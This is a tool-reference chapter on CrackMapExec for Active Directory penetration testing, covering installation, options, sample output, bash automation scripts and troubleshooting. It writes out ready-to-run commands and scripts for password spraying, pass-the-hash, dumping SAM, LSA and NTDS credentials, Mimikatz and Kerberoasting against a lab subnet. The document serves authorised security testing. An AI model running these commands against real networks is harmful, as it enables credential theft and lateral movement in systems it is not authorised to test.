1. Tool Introduction
CrackMapExec (commonly abbreviated CME) is a post-exploitation and Active Directory reconnaissance tool designed to automate the assessment of large Windows/AD networks. Often described as a “Swiss Army knife” for AD environments, CME can authenticate against and enumerate SMB, WinRM, SSH, LDAP, MSSQL, and RDP services across an entire subnet in a single command, spray credentials, execute commands remotely, dump credentials (SAM, LSA secrets, NTDS.dit), enumerate shares/users/groups, and check for common misconfigurations (e.g., MS17-010, Zerologon, SMB signing disabled). It is built on top of the Impacket library and integrates a Metasploit-style module system (-M) for extensible functionality (e.g., Mimikatz, spidering shares, executing PowerShell payloads).
Note: The original CrackMapExec project has been archived/is no longer actively maintained by its original author; the community-maintained, actively developed continuation is NetExec (NXC), covered in section 14.7. Many organizations and Kali releases still ship or reference CrackMapExec, so it remains important to understand.
2. How to Install
# On Kali Linux (may already be present or replaced by netexec in newer releases):
sudo apt update
sudo apt install crackmapexec -y
# Verify installation
crackmapexec --version
Installing via pipx (recommended for the latest CME release, since apt versions can lag):
sudo apt install pipx -y
pipx install crackmapexec
pipx ensurepath
Installing from source:
git clone https://github.com/Porchetta-Industries/CrackMapExec.git
cd CrackMapExec
poetry install
poetry run crackmapexec
3. Syntax
crackmapexec <protocol> <target(s)> [options]
Where <protocol> is one of: smb, winrm, ssh, ldap, mssql, rdp, ftp, vnc.
4. Command-Line Options (Kali Linux)
Target & general options:
| Option | Description |
|---|---|
<protocol> | Protocol module: smb, winrm, ssh, ldap, mssql, rdp, ftp, vnc |
<target> | IP, hostname, CIDR range, or file containing targets (.txt) |
-h, --help | Show help |
-t <n> | Number of threads |
--timeout <n> | Connection timeout |
-d <domain> | Target domain |
--verbose | Verbose output |
Authentication options:
| Option | Description |
|---|---|
-u <username> | Username (or file of usernames) |
-p <password> | Password (or file of passwords) |
-H <hash> | NTLM hash for pass-the-hash |
--kerberos | Use Kerberos authentication |
--aesKey <key> | AES key for Kerberos auth |
--no-bruteforce | Do not combine every user with every password |
--continue-on-success | Keep trying creds even after one succeeds (useful for spraying) |
--local-auth | Authenticate against local SAM rather than domain |
SMB-specific enumeration/exploitation options:
| Option | Description |
|---|---|
--shares | Enumerate SMB shares |
--sam | Dump SAM database hashes |
--lsa | Dump LSA secrets |
--ntds | Dump NTDS.dit (domain controller) |
--users | Enumerate domain/local users |
--groups | Enumerate groups |
--loggedon-users | Show currently logged-on users |
--pass-pol | Retrieve password policy |
--rid-brute <n> | RID cycling/brute force up to n |
-x <command> | Execute a command via WMI/SMBExec |
-X <ps_command> | Execute a PowerShell command |
-M <module> | Load a CME module (e.g., mimikatz, spider_plus, met_inject) |
-o <opt=val> | Pass options to a loaded module |
--sessions | List active SMB sessions |
--disks | List disks on target |
--exec-method <method> | Force execution method: wmiexec, smbexec, atexec, mmcexec |
--put-file <local,remote> | Upload a file |
--get-file <remote,local> | Download a file |
LDAP-specific options:
| Option | Description |
|---|---|
--asreproast <file> | AS-REP roasting, save hashes to file |
--kerberoasting <file> | Kerberoasting, save hashes to file |
--trusted-for-delegation | List accounts trusted for delegation |
--admin-count | List accounts with adminCount=1 |
MSSQL-specific options:
| Option | Description |
|---|---|
-q <query> | Execute a raw SQL query |
--xp-cmdshell <cmd> | Execute OS command via xp_cmdshell |
5. Basic Usage (Expected Output in Bash)
$ crackmapexec smb 10.10.10.0/24
SMB 10.10.10.5 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB 10.10.10.12 445 WKS02 [*] Windows 10.0 Build 19045 x64 (name:WKS02) (domain:CORP) (signing:False) (SMBv1:False)
6. Practical Examples with Output
Example 1 – Password spraying across a subnet
$ crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Summer2024!' --continue-on-success
SMB 10.10.10.12 445 WKS02 [+] CORP\jdoe:Summer2024!
SMB 10.10.10.15 445 WKS05 [+] CORP\asmith:Summer2024!
Example 2 – Pass-the-hash authentication
$ crackmapexec smb 10.10.10.5 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
SMB 10.10.10.5 445 DC01 [+] CORP\administrator (Pwn3d!)
Example 3 – Enumerating SMB shares
$ crackmapexec smb 10.10.10.5 -u jdoe -p 'Summer2024!' --shares
SMB 10.10.10.5 445 DC01 [+] Enumerated shares
SMB 10.10.10.5 445 DC01 Share Permissions Remark
SMB 10.10.10.5 445 DC01 ----- ----------- ------
SMB 10.10.10.5 445 DC01 C$ READ,WRITE Default share
SMB 10.10.10.5 445 DC01 NETLOGON READ Logon server share
Example 4 – Executing a command remotely
$ crackmapexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!' -x "whoami"
SMB 10.10.10.5 445 DC01 [+] Executed command
SMB 10.10.10.5 445 DC01 nt authority\system
Example 5 – Dumping SAM hashes
$ crackmapexec smb 10.10.10.12 -u administrator -p 'P@ssw0rd!' --sam
SMB 10.10.10.12 445 WKS02 [+] Dumped SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Example 6 – Kerberoasting via LDAP module
$ crackmapexec ldap 10.10.10.5 -u jdoe -p 'Summer2024!' --kerberoasting kerb_hashes.txt
LDAP 10.10.10.5 389 DC01 [+] Found 3 accounts with SPNs, saved to kerb_hashes.txt
Example 7 – Loading the Mimikatz module
$ crackmapexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!' -M mimikatz
SMB 10.10.10.5 445 DC01 [+] Executed Mimikatz module
MIMIKATZ 10.10.10.5 445 DC01 Administrator NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
Example 8 – Checking for MS17-010 vulnerability across a range
$ crackmapexec smb 10.10.10.0/24 -M ms17-010
SMB 10.10.10.30 445 LEGACY01 [*] MS17-010 VULNERABLE
Example 9 – Enumerating logged-on users
$ crackmapexec smb 10.10.10.12 -u administrator -p 'P@ssw0rd!' --loggedon-users
SMB 10.10.10.12 445 WKS02 [+] CORP\jdoe logged on locally
Example 10 – Dumping NTDS.dit from a domain controller
$ crackmapexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!' --ntds
SMB 10.10.10.5 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.10.10.5 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
7. Common Use Cases
- Domain-wide credential spraying and pass-the-hash validation during internal penetration tests.
- Rapid identification of hosts with SMB signing disabled or vulnerable to known SMB exploits (MS17-010, PetitPotam, etc.).
- Enumerating shares, users, groups, and logged-on sessions across every host in a domain in a single pass.
- Kerberoasting/AS-REP roasting to harvest crackable service-account/user hashes via LDAP.
- Post-compromise lateral movement: executing commands and pulling credential material (SAM/LSA/NTDS) once valid creds or a hash are obtained.
- Building an initial “attack map” of a large AD environment before deeper manual exploitation.
8. Automation with Bash
#!/bin/bash
# cme_full_sweep.sh - Chain multiple CrackMapExec checks across a target subnet
TARGET_RANGE="10.10.10.0/24"
USER_LIST="users.txt"
PASS="Summer2024!"
OUTPUT_DIR="./cme_results"
mkdir -p "$OUTPUT_DIR"
echo "[*] Enumerating hosts..."
crackmapexec smb "$TARGET_RANGE" | tee "$OUTPUT_DIR/hosts.txt"
echo "[*] Checking MS17-010..."
crackmapexec smb "$TARGET_RANGE" -M ms17-010 | tee "$OUTPUT_DIR/ms17-010.txt"
echo "[*] Spraying credentials..."
crackmapexec smb "$TARGET_RANGE" -u "$USER_LIST" -p "$PASS" --continue-on-success | tee "$OUTPUT_DIR/spray.txt"
echo "[*] Done. Results saved under $OUTPUT_DIR"
#!/bin/bash
# cme_dump_creds.sh - Once admin creds are known, dump SAM/LSA across a host list
TARGETS="admin_hosts.txt"
USER="administrator"
PASS="P@ssw0rd!"
while IFS= read -r host; do
echo "=== $host ==="
crackmapexec smb "$host" -u "$USER" -p "$PASS" --sam --lsa
done < "$TARGETS"
9. Tips and Best Practices
- Use
--continue-on-successwhen password spraying so the tool keeps testing all hosts instead of stopping at the first success. - Prefer
-H(pass-the-hash) over plaintext passwords when you’ve already obtained NTLM hashes — no cracking required. - Combine
-d <domain>with-u/-pfor domain accounts; omit or use--local-authfor local account testing. - Throttle threading (
-t) on sensitive/production networks to avoid account lockouts or excessive load. - Use modules (
-M) rather than manual scripting wherever possible — the module ecosystem (spider_plus, enum_av, met_inject, etc.) covers most common post-exploitation tasks. - Since the original project is archived, evaluate moving to NetExec (section 14.7) for continued updates, bug fixes, and new protocol support.
10. Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| “STATUS_LOGON_FAILURE” for known-good creds | Account lockout policy, wrong domain, or expired password | Verify domain name, check account lockout status, confirm password hasn’t expired |
Command execution (-x) fails silently | Default exec method blocked (e.g., WMI disabled) | Try --exec-method smbexec or --exec-method atexec |
| Tool hangs on large subnets | Too many threads or unreachable hosts | Reduce -t thread count and add --timeout |
--ntds dump fails | Insufficient privileges or DC replication restrictions | Confirm Domain Admin-equivalent rights; try -M ntdsutil alternative techniques |
| ImportError / dependency errors on install | Outdated pip/Python version | Use pipx install crackmapexec in an isolated environment |
11. References
- GitHub repository (archived): https://github.com/Porchetta-Industries/CrackMapExec
- Kali Linux tool page: https://www.kali.org/tools/crackmapexec/
- CrackMapExec wiki: https://mpgn.gitbook.io/crackmapexec
- Successor project, NetExec: https://github.com/Pennyw0rth/NetExec